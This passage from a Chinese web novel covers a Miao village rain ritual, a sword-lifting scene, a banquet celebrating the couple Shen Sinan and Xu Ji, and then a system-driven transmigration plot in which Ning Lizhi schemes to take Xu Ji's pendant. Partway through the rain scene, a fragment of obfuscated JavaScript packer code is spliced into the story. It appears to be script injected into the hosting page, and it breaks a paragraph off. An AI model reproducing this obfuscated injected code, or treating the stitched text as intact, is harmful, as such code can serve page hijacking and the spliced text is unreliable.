许祭点头，靠在他的肩上，渐渐有了睡意。沈司南看着他的睡颜，眼里满是温柔。他知道，明天，一定会下雨，因为有许祭在他身边，有阿妈在他身后，有寨子里的人在他左右，他什么都不怕。 夜深了，苗寨静了下来，只有虫鸣和风声，还有三颗相依的心，在月光下，静静相守，直到永远。 第二天凌晨，鸡还没叫，沈司南就醒了。他轻轻起身，没有吵醒许祭，走到院子里，看着天边渐渐泛起的鱼肚白。晨雾缭绕，远山若隐若现，空气里带着青草的香气和露水的湿润。兰榙已经起来了，正在灶房里忙碌着，锅里飘出姜汤的香气。 “阿妈。”沈司南走过去。 兰榙回头，笑着说：“醒了？快过来，姜汤熬好了，喝一碗暖暖身子。” 沈司南接过姜汤，喝了一口，温热的液体滑入喉咙，暖到了心底。 许祭被姜汤的香气惊醒，他睁开眼，看见沈司南站在灶房门口，晨光落在他身上，镀上一层金色的光晕。他连忙起身，穿上兰榙给他做的土布褂子，走到沈司南身边。 “醒了？”沈司南笑着问。 “嗯，闻到香味了。”许祭吸了吸鼻子，笑着说。 兰榙端来一碗姜汤，递给许祭：“快喝一碗，别冻着了。” 许祭接过姜汤，喝了一口，暖意瞬间漫遍全身。 三人吃完早饭，兰榙替沈司南整理好祭祀袍，又替许祭理了理衣领，眼里满是期盼：“走吧，时候到了。” 沈司南点点头，牵着许祭的手，兰榙走在他们身边，三人一起走出木屋，走进微凉的晨雾里。 石板路上已经有了很多人，都是寨子里的长老和村民，他们看见沈司南和许祭，还有兰榙，都笑着点头，眼里满是欣慰。沈司南牵着许祭的手，一步一步，走向祭坛。 祭坛上已经摆好了祭品，全是寨子里最好的东西，瓜果、米酒、腊肉，还有一束束的栀子花。青石板被打扫得干干净净，祭坛中央的无字碑在晨光里，泛着温润的光。 寨子里的人都来了，黑压压的一片，跪在青石板上，眼神里满是期盼。沈司南牵着许祭的手，走到祭坛中央，站在无字碑前。兰榙站在他们身后，手里端着一碗清水，目光坚定而温柔。 晨光一点点爬上山头，照亮了整个祭坛。沈司南举起青铜剑，高声念起祝词。他的声音穿过晨雾，飘向远山，沉稳而有力。许祭站在他身边，跟着他一起念，声音清亮，字字清晰。兰榙站在他们身后，轻声附和着，声音温柔，却带着无比的坚定。 “祈雨——”沈司南的声音响彻云霄。 “祈雨——”许祭的声音紧随其后。 “祈雨——”兰榙的声音温柔而坚定。 “祈雨——”所有的人都跟着喊，声音震耳欲聋。 风吹过，掀起三人的衣角，青铜铃铛叮当作响。许祭看着沈司南的侧脸，看着他眼里的坚定和温柔，看着身后兰榙慈爱的目光，心里忽然涌起一股暖流。他知道，从此以后，他们会一起，守着这座祭坛，守着苗寨，守着这个家，直到永远。 就在这时，一滴雨落在了他的脸上，凉丝丝的。他抬头，看见天空中，乌云渐渐聚拢，雨丝，正淅淅沥沥地落下来。 雨丝落下来的那一刻，祭坛下的人群里瞬间泛起一阵细碎的骚动，许祭的同学们更是炸开了锅，议论声混着雨声，热热闹闹地飘了起来。 赵铁锤踮着脚，伸长脖子往祭坛上望，一巴掌拍在旁边同学的肩膀上，嗓门大得盖过了雨声：“我靠！真下雨了！不是吧不是吧！这也太灵了吧！”他搓着手，脸上满是兴奋的红光，转头跟苏招嚷嚷，“你看你看！许祭站在沈司南旁边，那姿势，那气场，跟真的似的！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话一出，立刻得到了所有人的响应，苏招举着相机，笑着喊：“算我一个！我要把照片洗出来，让许祭签名！” 王翠花也跟着点头，眼里满是期待：“我还要尝尝酸汤鱼，兰榙阿婆说管够的！” 雨幕里，祭坛上的两人还站在那里，青铜铃铛的响声混着雨声，清脆而悠扬。同学们的议论声渐渐变成了欢呼，和苗寨村民的声音交织在一起，在山谷里回荡着，经久不息。 雨势渐稳，细密的雨丝织成一片朦胧的帘幕，祭坛上的祝祷声渐渐停歇。沈司南握着那柄青铜剑，剑尖垂落，剑身上的纹路在雨光里泛着冷冽的光。他刚转身想递给身后的长老，就被围上来的同学们七嘴八舌地拦住了。 “沈祭司！这剑看着好有分量，到底重不重啊？”赵铁锤挤在最前面，抻着脖子打量那柄剑，眼里满是好奇，“能不能让我们试试？” 旁边的男生们也跟着起哄，一个个摩拳擦掌：“对啊对啊，看着不算特别大，应该能拿得动吧？” 沈司南挑了挑眉，没说话，只是松了手，任由青铜剑稳稳地立在青石板上。 赵铁锤第一个冲上去，撸起袖子，双手攥住剑柄，憋红了脸使劲往上提——那剑却像在石板上生了根似的，纹丝不动。他不信邪，又憋足了力气，脸涨得通红，额角青筋都鼓起来了，剑还是稳稳当当的，他反倒踉跄着往后退了两步，差点摔在泥水里。 “我靠！这么重？”赵铁锤揉着发酸的胳膊，一脸不可置信。 后面的男生们轮番上阵，有的单手拽，有的两人合力抬，甚至还有三个男生抱成团喊着口号一起使劲，可那柄青铜剑始终稳稳立着，连晃都没晃一下。最后几个男生累得气喘吁吁，瘫坐在地上，看着那柄剑的眼神里满是敬畏。 女生们早就笑得前仰后合，苏招举着相机，把这一幕幕全拍了下来，一边拍一边笑：“你们行不行啊？看沈祭司刚才单手举着跟玩似的！” 王翠花捂着嘴笑，小声跟旁边的女生嘀咕：“难怪刚才沈祭司举剑的时候那么稳，这剑也太重了吧，我看他们三个人都抬不动。” 靠窗的男生推了推眼镜，慢悠悠地开口：“这剑是苗寨的祭祀重器，听说铸剑的时候加了陨铁，少说也有七八十斤。沈祭司从小练着，自然举重若轻，我们这些普通人，肯定拿不动啊。” “七八十斤？！”赵铁锤惊呼一声，摸着自己发酸的胳膊，“怪不得我刚才跟拔萝卜似的，根本纹丝不动！沈祭司也太牛了吧！” 许祭站在沈司南身边，看着剑身上流转的冷光，心里忽然生出一股跃跃欲试的念头。他转头看向沈司南，眼里带着点试探的笑意：“我能不能试试？” 沈司南愣了一下，随即失笑，伸手替他理了理被雨打湿的额发，声音里带着几分纵容：“小心点，别抻着。” 周围的同学们瞬间安静下来，齐刷刷地看向许祭，眼里满是看热闹的兴味。赵铁锤更是嚷嚷起来：“许祭你别试了！我们这么多人都拿不动，你肯定也不行！” 许祭没说话，只是走到青铜剑旁，学着沈司南的样子，单手握住了剑柄。他的手掌比沈司南的小一圈，握住剑柄时指尖堪堪能扣住边缘。他深吸一口气，手臂微微发力—— 出乎所有人意料，那柄在众人手里纹丝不动的青铜剑，竟然被他缓缓提了起来。 剑身离开青石板的那一刻，发出一声清脆的嗡鸣，雨珠顺着剑脊滚落，砸在地上溅起细小的水花。许祭握着剑，手臂微微发颤，却硬是把剑举到了胸前，剑身在雨幕里泛着冷光，映着他微微泛红的脸颊。 全场瞬间鸦雀无声，连雨打在伞面上的声音都清晰可闻。 几秒钟后，议论声和惊呼声猛地炸开，比刚才还要响亮。 “我靠！许祭举起来了？！”赵铁锤猛地从地上蹦起来，一脸的不敢置信，“不是吧不是吧！他看着瘦瘦的，力气这么大？” 苏招手里的相机差点掉在地上，她连忙稳住，对着许祭和他手里的剑一顿猛拍，嘴里念叨着：“绝了绝了！这是什么神仙剧情！许祭也太厉害了吧！” 王翠花捂着嘴，眼睛瞪得圆圆的，小声跟旁边的女生说：“我刚才还以为他肯定不行呢……他居然真的举起来了！而且还是单手！” 靠窗的男生推了推眼镜，镜片后的眼睛亮得惊人，他摸着下巴，一本正经地分析：“这绝对不只是力气的问题！祭祀剑认主的说法我以前听过，许祭能拿起来，说不定是因为……”他话说到一半，意味深长地看了一眼沈司南，引得周围的女生们都跟着哄笑起来。 沈司南看着许祭举着剑，手臂微微发颤的样子，眼底的笑意浓得化不开。他快步走过去，伸手托住剑身，帮他卸了力，声音里带着点心疼的嗔怪：“逞能，手酸了吧？” 许祭放下剑，甩了甩发麻的胳膊，脸上带着点得意的笑：“我就说我能行。” 周围的同学们又开始起哄，口哨声和笑声混在一起，在雨幕里传得很远。兰榙站在不远处，看着他们，嘴角的笑意温柔得不像话，转头跟身边的长老说：“这孩子，跟司南真是缘分。” 长老捋着胡子，点了点头，眼里满是赞许：“是啊，能拿起祭祀剑的，都是和苗寨有缘的人。” 同学们的议论声瞬间掀翻了天，惊呼声、哄笑声、八卦声混着雨声，吵得比刚才的祈福喊声响多了。 “我靠！许祭你藏得够深啊！看着瘦得跟纸片似的，居然能举起那把剑！”赵铁锤冲最前面，拍着大腿喊，刚才他憋得脸红脖子粗都没撼动的剑，被许祭轻飘飘举起来，简直是公开处刑。 苏招举着相机，镜头死死对准许祭和沈司南，一边拍一边咋呼：“懂了懂了！这就是爱情的力量吧！沈祭司能举，许祭也能举，别人都不行，这不是锁死了是什么！” 这话一出，女生们立刻跟着起哄，捂着嘴笑得眉眼弯弯。“怪不得沈祭司对他那么好！连祭祀剑都能让他碰，这待遇，谁有啊！”“你们没看见沈祭司刚才那眼神吗？都快溢出蜜了，又是心疼又是骄傲的！” 王翠花红着脸，小声补充：“许祭刚才举剑的时候，手都在抖，肯定是硬撑的，但是好帅啊……” 几个刚才尝试拔剑的男生，瘫在地上哭笑不得，揉着发酸的胳膊叹气。“合着不是我们力气小，是我们没那个缘分呗！”“可不是嘛！这剑明显是认人的，除了沈祭司，就认许祭！” 靠窗的男生推了推被雨打湿的眼镜，慢条斯理地总结，一句话戳中所有人的心思：“从民俗角度说，祭祀剑是苗寨的镇寨之宝，非传承人或命定之人不可触碰。许祭一个外来者能拿起来，这意义，不用我多说了吧？” 这话引得众人又是一阵哄笑，口哨声此起彼伏。雨丝落在每个人的脸上，凉丝丝的，心里却都是暖烘烘的，看着祭坛上并肩站着的两人，越看越觉得般配。 雨停了，远山笼着一层薄薄的雾，太阳从云层里探出头，把苗寨的吊脚楼染成了暖金色。长桌宴早就摆开了，青石板路上，一张接一张的木桌拼成长龙，腊肉、酸汤鱼、糯米粑、米酒，香得人垂涎三尺。 同学们跟着寨子里的人，热热闹闹地找位置坐下，赵铁锤一屁股坐在许祭旁边，胳膊肘捅了捅他的腰，挤眉弄眼地笑：“可以啊你小子，深藏不露啊，那剑七八十斤，你居然能举起来！” 许祭刚喝了口米酒，被他捅得呛了一下，脸颊泛红，瞪了他一眼：“瞎说什么呢，我就是运气好。” “运气好？”苏招端着个酒杯凑过来，眼睛亮得像星星，“我看是缘分吧！你没听见长老说吗？能拿起祭祀剑的，都是和苗寨有缘的人，更是和沈祭司——” 她故意拖长了调子，没说完的话全在眼神里，引得周围的人一阵哄笑。 沈司南刚好端着两碟炸得金黄的蚂蚱过来，听见这话，脚步顿了顿，却没说什么，只是把碟子放在许祭面前，低声道：“尝尝，你爱吃的。” 许祭的脸更红了，低头扒拉着碗里的饭，不敢看他。 这一幕落在同学们眼里，又是一阵起哄。靠窗的男生清了清嗓子，一本正经地站起来，手里举着个米酒碗：“各位！今天娶雨大典圆满成功，沈祭司功不可没，许祭……哦不，许祭也立了大功，居然能举起祭祀剑！我提议，让他俩喝个交杯酒，庆祝一下！” “好！”赵铁锤第一个响应，拍着桌子喊，“交杯酒！交杯酒！” 话音一落，满桌的人都跟着喊起来，连寨子里的大爷大妈都笑着拍手附和，兰榙更是笑得合不拢嘴，转身就去拿了两个雕花的银酒杯，倒满了醇香的米酒，亲自递到两人手里。 “司南，阿祭，喝了这杯酒，以后就是一家人了。”兰榙的声音温柔，眼里满是欣慰。 沈司南接过酒杯，转头看向许祭。许祭的脸已经红透了，耳根子都在发烫，手里攥着酒杯，指尖微微发颤，却还是抬眼看向他，眼里带着点羞赧，又带着点期待。 周围的起哄声越来越响，苏招举着相机，镜头对准两人，连呼吸都放轻了。 沈司南的嘴角噙着一抹淡淡的笑意，主动伸出手臂，绕过许祭的胳膊，将酒杯递到他唇边。许祭的心跳得飞快，像揣了只兔子，他也学着沈司南的样子，绕过他的胳膊，仰头，将杯中的米酒一饮而尽。 米酒的醇香在嘴里散开，带着点甜，又带着点烈，一路暖到了心底。 两人放下酒杯时，指尖不经意地碰到一起，烫得许祭猛地缩回了手，却被沈司南反手握住，十指紧扣。 全场瞬间爆发出雷鸣般的掌声和欢呼声，口哨声、笑声、叫好声混在一起，震得人耳膜嗡嗡作响。赵铁锤吹着口哨，喊得嗓子都哑了：“锁死！必须锁死！” 苏招连拍了好几张照片，笑得眼睛都眯成了一条缝：“这张绝对能当朋友圈封面！” 王翠花捂着嘴笑，小声跟旁边的女生说：“他们俩站在一起，真的好配啊……” 阳光洒在两人紧扣的手上，洒在满桌的佳肴上，洒在苗寨的每一个角落。风里带着米酒的香，带着青草的香，带着幸福的味道，在山谷里久久回荡。 43. 蓝天预案 起哄声闹了好一阵子才渐渐平息，长桌宴的热闹却丝毫未减。寨子里的姑娘们端着米酒，唱着清脆的苗歌，挨个给桌上的客人敬酒，银饰碰撞的叮当声，混着酒香飘得满街都是。 许祭的手还被沈司南攥着，指尖相触的温度烫得他心尖发颤，却舍不得挣开。他偷偷抬眼去看沈司南，对方正侧耳听旁边的长老说话，侧脸的线条被阳光勾勒得柔和，长长的睫毛垂着，在眼睑下投出一小片阴影。许祭的心跳漏了一拍，赶紧低下头，假装去啃碗里的糯米粑，脸颊却比刚才更烫了。 沈司南像是察觉到他的小动作，握着他的手微微收紧，指腹轻轻摩挲着他的指尖。许祭的身子僵了一下，耳朵尖红得快要滴血，连嘴里的糯米粑都忘了嚼。 “好吃吗？”沈司南的声音低低的，带着点笑意，只有他们两个人能听见。 许祭含着一嘴的糯米，含糊地“嗯”了一声，差点被呛到。 沈司南失笑，抬手替他拍了拍后背，动作自然又亲昵。这一幕落在不远处的陈杬祝眼里，她端着酒杯的手顿了顿，眼底闪过一丝复杂的情绪，随即又被笑容掩盖。她转头看向身边的兰榙，笑着说：“阿婆，你们苗寨的糯米粑真好吃，比城里卖的香多了。” 兰榙笑得眉眼弯弯，给她碗里又添了一块，眼底的慈爱满得快要溢出来：“喜欢就多吃点，这是用山泉水泡的糯米，蒸出来的粑才糯。”她说着，目光又落回沈司南和许祭身上，眼神里的欣慰浓得化不开，“这两个孩子，缘分早就定好了。” 这话是用苗语说的，陈杬祝没听懂，却能从她的眼神里读出那份真切的欢喜。兰榙是沈司南的母亲，也是寨子里出了名的和善人，自打他们一行人进寨，她就待许祭格外亲厚，此刻看着两人紧扣的手，眼角眉梢都挂着藏不住的笑意，转头跟旁边的老姐妹用苗语念叨：“司南这孩子打小就犟，心里的事从不肯说，如今总算有人能拴住他的心了。” 老姐妹笑着点头，跟着打趣：“许祭这孩子俊朗又踏实，跟司南站在一起，就跟画里的人似的，配得很。” 陈杬祝顺着兰榙的目光看去，刚好看见许祭被沈司南喂了一口酸汤鱼，耳根通红却笑得眉眼弯弯。她端起酒杯，抿了一口米酒，酒液的醇香里，似乎掺了点说不清道不明的滋味。 赵铁锤凑过来，胳膊肘撞了撞陈杬祝的肩膀，挤眉弄眼道：“陈姐，你看他俩，甜得齁人！我跟你说，昨天许祭还跟我装呢，说他跟沈祭司就是普通朋友，现在看，哪是普通朋友啊！” 陈杬祝挑了挑眉，放下酒杯，笑着打趣：“你小子，少看点偶像剧，人家俩那是正经的缘分。” 正说着，寨子里的芦笙响了起来，几个穿着盛装的苗族小伙扛着芦笙，吹着欢快的曲子，绕着长桌跳起舞来。姑娘们也跟着起身，裙摆飞扬，银饰叮当，邀请着桌上的客人一起跳舞。 赵铁锤被一个姑娘拉着，跌跌撞撞地加入了舞队，嘴里还喊着：“许祭！快来！一起跳啊！” 许祭刚想应声，手腕却被沈司南攥得更紧了。他转头看向沈司南，对方的眼里盛着笑意，语气却带着点不容拒绝的意味：“别去，陪我坐会儿。” 许祭的心跳又快了几分，乖乖地坐了回去，任由他握着自己的手。阳光暖洋洋的，洒在身上舒服得让人犯困，耳边是芦笙的乐声，是众人的笑声，是风吹过树叶的沙沙声。他侧头看着沈司南的侧脸，忽然觉得，这样的时光，要是能一直停住就好了。 沈司南像是感应到他的目光，转头看他，四目相对，空气里仿佛都飘着甜丝丝的味道。沈司南的拇指轻轻蹭过他的指关节，低声道：“等宴会结束，我带你去个地方。” 许祭的眼睛亮了亮，小声问：“去哪里？” 沈司南的嘴角弯起一个好看的弧度，却卖了个关子：“去了就知道了。” 不远处，苏招举着相机，将这一幕定格。她看着镜头里相视而笑的两人，忍不住弯了弯嘴角，心里想着，这趟苗寨之行，可真是来对了。 风穿过吊脚楼的廊檐，带着米酒的醇香和青草的清新，吹起了许祭额前的碎发。他看着沈司南眼里的光，忽然觉得，那些关于穿越的迷茫，关于系统的任务，好像都在这一刻，变得不那么重要了。 重要的是，他现在在这里，和沈司南一起，在这个阳光正好的苗寨里，听着芦笙，闻着酒香，握着彼此的手。 兰榙远远看着他俩，悄悄擦了擦眼角，又笑着转身，去后厨端了一碟许祭爱吃的炸蚂蚱，脚步轻快得不像个上了年纪的人。 宁荔枝是被系统的警报声惊醒的。 刺耳的嗡鸣在脑海里炸开时，她正趴在剧组的化妆台上补觉，脸上的粉底还没卸干净，睫毛膏晕得眼下一片乌黑。经纪人刚进来催她去赶下一个通告，声音却在系统弹出光屏的瞬间，变成了模糊的杂音。 【紧急任务触发：目标人物许祭时空坐标偏移，强制传送启动。】 【传送地点：榕城第一中学初中部，时间：许祭初二学年。】 【任务要求：接近许祭，获取其随身信物，任务失败将被抹除存在痕迹。】 光屏上的字红得刺眼，宁荔枝还没来得及骂出声，一股巨大的拉扯力就攥住了她的四肢百骸。天旋地转间，化妆间的镜子、散落的化妆品、经纪人焦急的脸，全都碎成了斑驳的光点。 再睁眼时，鼻尖萦绕的是粉笔灰和旧书本的味道，耳边是朗朗的读书声，还有窗外梧桐叶被风吹得沙沙响的动静。 宁荔枝僵着脖子低头，看见自己身上穿着蓝白相间的校服，袖口洗得发白，领口还别着一枚校徽——榕城一中初中部。她的手指纤细白皙，不再是常年泡在剧组、带着薄茧的模样，而是透着少年人特有的青涩感。 讲台上的数学老师推了推眼镜，目光扫过来，厉声喝道：“最后一排靠窗的那个新同学！发什么呆？起来回答这个问题！” 全班同学的目光“唰”地一下聚焦在她身上，宁荔枝心脏猛地一跳，下意识地站起来，脑子里一片空白。她哪会解什么初中数学题？这些x和y在她眼里，比剧本里最绕口的台词还要陌生。 就在她窘迫得快要原地石化时，坐在她斜前方的男生忽然侧过头，用只有两人能听见的声音，低声提醒：“选B，勾股定理逆定理。” 宁荔枝顺着声音看过去，撞进一双清澈明亮的眼睛里。少年穿着和她同款的校服，头发剪得干净利落，额前的碎发被阳光晒得微微发黄，手里转着一支黑色的签字笔，嘴角噙着一点漫不经心的笑意。 是许祭。 比她在苗寨见到的那个模样，还要稚嫩几分，眉眼间还带着少年人的桀骜和锐气，却已经能看出几分日后的轮廓。 宁荔枝的心跳漏了一拍，脑海里的系统光屏瞬间刷新：【目标人物许祭已确认，当前好感度：0。】 她定了定神，扯出一个还算得体的笑容，对着讲台大声道：“老师，答案是B。” 数学老师愣了一下，显然没料到这个转学生居然能答出来，点了点头：“嗯，坐下吧，下次上课认真听讲。” 宁荔枝松了口气，刚坐下，就听见旁边的许祭低笑出声。她转头看他，少年已经转了回去，只留给她一个清瘦的背影，肩膀线条流畅，阳光落在他的发顶，镀上一层柔和的金边。 下课铃一响，教室里瞬间炸开了锅。几个女生围过来，好奇地打量着宁荔枝：“你就是新来的转学生吧？叫什么名字啊？” “你长得好好看，跟明星似的！” 宁荔枝扯了扯嘴角，应付着这群热情的初中生，目光却始终黏在许祭身上。他正被一群男生勾着肩膀往外走，嘴里说着什么，惹得周围人一阵哄笑。 【系统提示：请尽快获取许祭随身信物，推荐目标——其常年佩戴的银色吊坠。】 宁荔枝的目光落在许祭的脖颈间，果然看见一截银色的链子，坠着一个小小的、看不清形状的吊坠，随着他的动作，在衣领下若隐若现。 她记得，在苗寨的时候，许祭也戴着这个吊坠。沈司南还曾用指尖碰过那个吊坠，眼神意味深长。 原来，这个吊坠，从这么早就跟着他了。 宁荔枝的手指蜷缩了一下，眼底闪过一丝算计。她看着许祭走出教室的背影，慢悠悠地勾起唇角。 初中部吗？ 也好。 比起在苗寨那个被沈司南护得严严实实的许祭，这个时候的少年，显然更容易得手。 她起身，拍了拍校服上的褶皱，迈着步子，不紧不慢地跟了上去。走廊里人来人往，阳光透过窗户，在地上投下斑驳的光影。宁荔枝看着前方那个清瘦的背影，在心里默念： 许祭，这次，你跑不掉了。 宁荔枝刚跟着许祭的脚步走出教室，脑海里就响起系统0321机械的电子音，带着几分少见的急促：【荔枝，不要去招惹沈司南，记住了！】 宁荔枝的脚步顿了顿，眉梢微挑，唇角勾起一抹讥诮的弧度，在心里冷笑着回怼：“怎么？怕我惹了那个苗寨祭司，坏了你的任务？” 【警告：沈司南不属于本时空干预对象，其身上存在未知能量场，会对系统运行造成干扰，甚至可能暴露任务坐标。】0321的声音刻板又严肃，【你的核心目标是许祭和他的随身信物，沈司南是高危变量，必须远离。】 宁荔枝的目光掠过操场尽头的香樟树，阳光透过叶隙筛下来，落在许祭和同学打闹的背影上，她的指尖无意识地摩挲着校服口袋的边缘，语气漫不经心：“知道了知道了，啰嗦。” 嘴上应着，心里却嗤笑一声。 高危变量？ 她在苗寨可是亲眼见过沈司南的本事，那柄七八十斤的祭祀剑被他轻描淡写地握住，眼神沉静得像深潭，连寨子里的长老都对他恭敬有加。这样的人，确实不好惹。 可不好惹，不代表不能惹。 要是能借着沈司南，更快地拿到许祭的吊坠，那点所谓的“风险”，又算得了什么？ 【检测到宿主存在抵触情绪，警告：违反指令将扣除50%任务积分，积分清零——】 “行了，闭嘴。”宁荔枝不耐烦地打断系统的话，快步朝着许祭的方向走过去，眼底闪过一丝势在必得的光，“我做事，不用你教。” 宁荔枝没把系统0321的警告当回事，她甚至觉得，要是能从沈司南身上找到突破口，拿下许祭的吊坠会更容易。 她掐着午休的时间，绕到了学校后墙的老槐树下。那里是许祭常来的地方，而她赌沈司南会跟着来——系统能把她送到许祭的初中时代，没道理那个和许祭羁绊极深的人，会不在这个时空里。 果然，没过多久，她就看见那个熟悉的身影。十五岁的沈司南，还没完全褪去少年人的青涩，却已经有了几分苗寨祭司的沉静气质。他没穿校服，一身靛蓝色的苗布短衫，袖口绣着缠枝暗纹，墨发用一根同色系的布带松松束在脑后，露出光洁的额头。他靠在老槐树的阴影里，手里捏着一片刚落下的槐树叶，目光落在不远处和同学说笑的许祭身上，眼神软得像浸了水的棉花。他的模样和周围穿着蓝白校服的少年们不算违和，可那份从骨子里透出来的、与俗世隔绝的清冷，又让他显得格格不入。 宁荔枝的心跳快了半拍，她理了理校服的衣领，故意踩着轻快的步子走过去，在他面前站定，扬起一个甜得发腻的笑容：“这位同学，你也是这个学校的吗？我好像没见过你。” 沈司南的目光从许祭身上收回来，落在她脸上。十五岁的少年，眼神已经足够锐利，像深山里的溪水，清冽，却能看透人心底的算计。他薄唇轻启，声音带着少年人特有的清朗，却透着几分疏离：“路过。” 简短的两个字，堵得宁荔枝差点接不上话。她咬了咬唇，不死心地往前凑了半步，声音放得更柔：“路过呀，那可真巧。我叫宁荔枝，是新来的转学生。我认识许祭哦，他是个很有趣的人。” 【警告！警告！宿主正在靠近高危目标沈司南，立刻撤离！立刻撤离！】系统0321的警报声在脑海里尖锐地响起，震得宁荔枝太阳穴突突直跳。 她强忍着把系统骂回去的冲动，依旧维持着笑容，目光若有若无地瞟向许祭的方向：“我觉得许祭脖子上的吊坠很好看，想问问他在哪里买的，可惜一直没找到机会。” 话音刚落，她明显感觉到周围的空气冷了几分。沈司南捏着槐树叶的手指微微收紧，叶脉在他的掌心掐出一道浅浅的白痕。十五岁的少年，还没学会如何隐藏自己的情绪，那份属于祭司的威严，混着少年人的护短，直直地压过来：“不该问的别问，不该碰的别碰。” 他的声音不大，却带着一种不容置疑的笃定，和这片充满少年气的校园格格不入，让宁荔枝的后背莫名地窜上一股寒意。 【检测到强烈能量波动！系统运行受阻！宿主立刻离开！】0321的声音都带上了几分慌乱。 宁荔枝的笑容僵了僵，却还是硬着头皮道：“我就是好奇而已，你这么凶做什么——” 她的话还没说完，就看见许祭朝着这边走了过来，手里还拿着两瓶冰镇汽水。他走到沈司南身边，自然地拍了拍他的肩膀，动作熟稔得像是做过千百遍，看向宁荔枝的眼神带着几分疑惑：“宁荔枝？你怎么在这里？” 许祭显然没觉得沈司南的打扮和身份有什么奇怪，仿佛这个穿着苗布短衫的十五岁少年，本就该出现在这里，本就该是他的身边人。 宁荔枝立刻换上一副乖巧的样子，刚想开口，就听见沈司南先一步说道：“她问我，你脖子上的吊坠哪里买的。” 许祭愣了一下，下意识地摸了摸脖颈间的银色吊坠，眼神里闪过一丝茫然：“这个啊？是我小时候捡到的，不知道哪里来的。” 他说着，看向宁荔枝的目光多了几分警惕，那点少年人的防备，像竖起尖刺的小兽，分明是被沈司南刚才的话提醒了。 宁荔枝看着两人之间自然而然的默契，心里暗骂一声不好，脸上却依旧挂着笑：“原来是捡到的呀，那真可惜，我还想着买一个同款呢。” 她说完，不等两人再开口，就摆摆手道：“我还有事，先走啦！” 她转身快步离开，直到走出好远，才敢松一口气。脑海里的系统还在嗡嗡作响，而她的心里，却生出了一个更强烈的念头——十五岁的沈司南，就已经护许祭护得这么紧了。不过，越是这样，就越有意思。 她回头看了一眼槐树下站着的两人，阳光穿过槐树叶的缝隙，落在沈司南的苗布短衫上，晕开细碎的光斑。许祭正仰头跟他说着什么，眉眼弯弯，沈司南垂眸听着，嘴角噙着一点极淡的笑意，那是属于少年人的、毫不设防的温柔。 宁荔枝的唇角，勾起一抹志在必得的弧度。 周三的课间操刚结束，广播里就循环播放了秋季运动会的报名通知，班长抱着一沓报名表在教室里来回穿梭，吵吵嚷嚷的声音几乎要掀翻屋顶。 宁荔枝耳朵尖，听见许祭被赵铁锤缠着报两人三足，还被起哄着要和沈司南一组，她眼睛一转，心里立刻有了主意。等班长走到她座位旁时，她一把拽住对方的胳膊，笑得眉眼弯弯：“班长，我要报名女子八百米，还有，那个……双人跳绳！” 班长愣了愣：“双人跳绳得找个搭档啊。” “我知道。”宁荔枝的目光精准地落在刚拒绝完赵铁锤的许祭身上，声音不大不小，刚好能让周围人听见，“许祭同学，你跳绳厉害吗？能不能当我的搭档呀？” 这话一出，教室里瞬间安静了半秒，随即爆发出一阵哄笑。赵铁锤吹了声口哨：“许祭！宁大美女找你组队，你可别怂啊！” 许祭正低头收拾桌洞里的跳绳，闻言猛地抬起头，脸上没有半分错愕，反而皱起了眉，眼底掠过一丝疏离。他下意识地看向窗外，沈司南不知道什么时候站在了走廊上，靛蓝色的苗布短衫在阳光下格外显眼，正隔着玻璃窗看着他，眼神平静无波，却莫名让许祭的心定了定。 “抱歉。”许祭的声音不大，却足够清晰，打破了教室里的起哄声，“我不参加双人跳绳。” 宁荔枝脸上的笑容僵了一瞬，她没想到许祭会这么干脆地拒绝，顿了顿，又往前凑了半步，手指轻轻敲了敲报名表，语气带着几分撒娇的意味：“许祭同学，你就答应嘛，我刚来学校，一个认识的人都没有，要是没人组队，我就只能弃权了。” 她的声音软糯，眼神里带着恰到好处的委屈，周围的同学立刻跟着起哄，七嘴八舌地劝着许祭。许祭却没再看她，只是拿起桌洞里的跳绳，指尖摩挲着绳柄上磨出的纹路，语气依旧淡淡的：“我真的不参加，你可以问问别人。” 坐在不远处的苏招看着这一幕，偷偷拿出手机给沈司南发了条消息：【沈司南，宁荔枝找许祭组队跳绳，被拒啦！】 消息刚发出去，就看见走廊上的沈司南嘴角几不可察地弯了弯，随即转身走了。苏招撇撇嘴，心里嘀咕着：就知道许祭肯定站沈司南这边。 宁荔枝脸上的笑意彻底挂不住了，她看着许祭那张没什么表情的脸，又瞥见窗外沈司南离开的背影，心里又气又急。系统0321的警报声在脑海里疯狂响起：【任务进度受阻！宿主请更换策略！避免与目标人物产生抵触情绪！】 她深吸一口气，勉强挤出一个笑容，拿起报名表塞回给班长：“那……那我还是只报八百米吧。” 说完，她转身回到座位上，狠狠攥紧了拳头，指甲几乎要嵌进掌心。 许祭没再理会身后的动静，只是将跳绳放进桌洞，抬头看向窗外。阳光正好，梧桐叶晃得人眼晕，他仿佛能看见沈司南走在走廊上的背影，脚步轻快，带着少年人特有的从容。 这时，教室门口传来一声轻响，沈司南去而复返，手里拿着一根用麻绳编的跳绳，绳柄上还缠着红绳，他走到许祭身边，将跳绳放在他的桌角，声音清朗朗的：“放学，老地方练单人跳，我陪你。” 许祭的眼睛亮了亮，嘴角忍不住弯起一个小小的弧度：“好。” 放学的铃声刚落，宁荔枝就拎着书包快步走出了教室，连跟周围同学客套的心思都没有。她没像其他同学那样，在路边的小吃摊逗留，而是径直走向了校门口的公交站牌，指尖烦躁地在书包带上绕着圈。 脑海里，系统0321还在喋喋不休：【警告！今日任务进度为零，宿主与目标人物许祭的好感度未增反降，扣除10%任务积分！】 宁荔枝咬了咬后槽牙，在心里恶狠狠地回怼：“闭嘴！要不是那个沈司南碍事，我怎么会搞成这样！” 【再次警告！禁止将任务失败归咎于高危目标沈司南，宿主需立刻调整策略——】 “滚！” 宁荔枝低吼出声，引得旁边等车的几个初中生纷纷侧目。她深吸一口气，压下心头的火气，勉强扯出一个若无其事的表情，目光投向了远处缓缓驶来的公交车。 这趟公交是开往县城老城区的，一路摇摇晃晃，车厢里挤满了放学的学生和下班的上班族，空气中弥漫着辣条、汗味和淡淡的汽油味。宁荔枝靠窗坐着，看着窗外飞速倒退的梧桐树叶，心里的烦躁更甚。 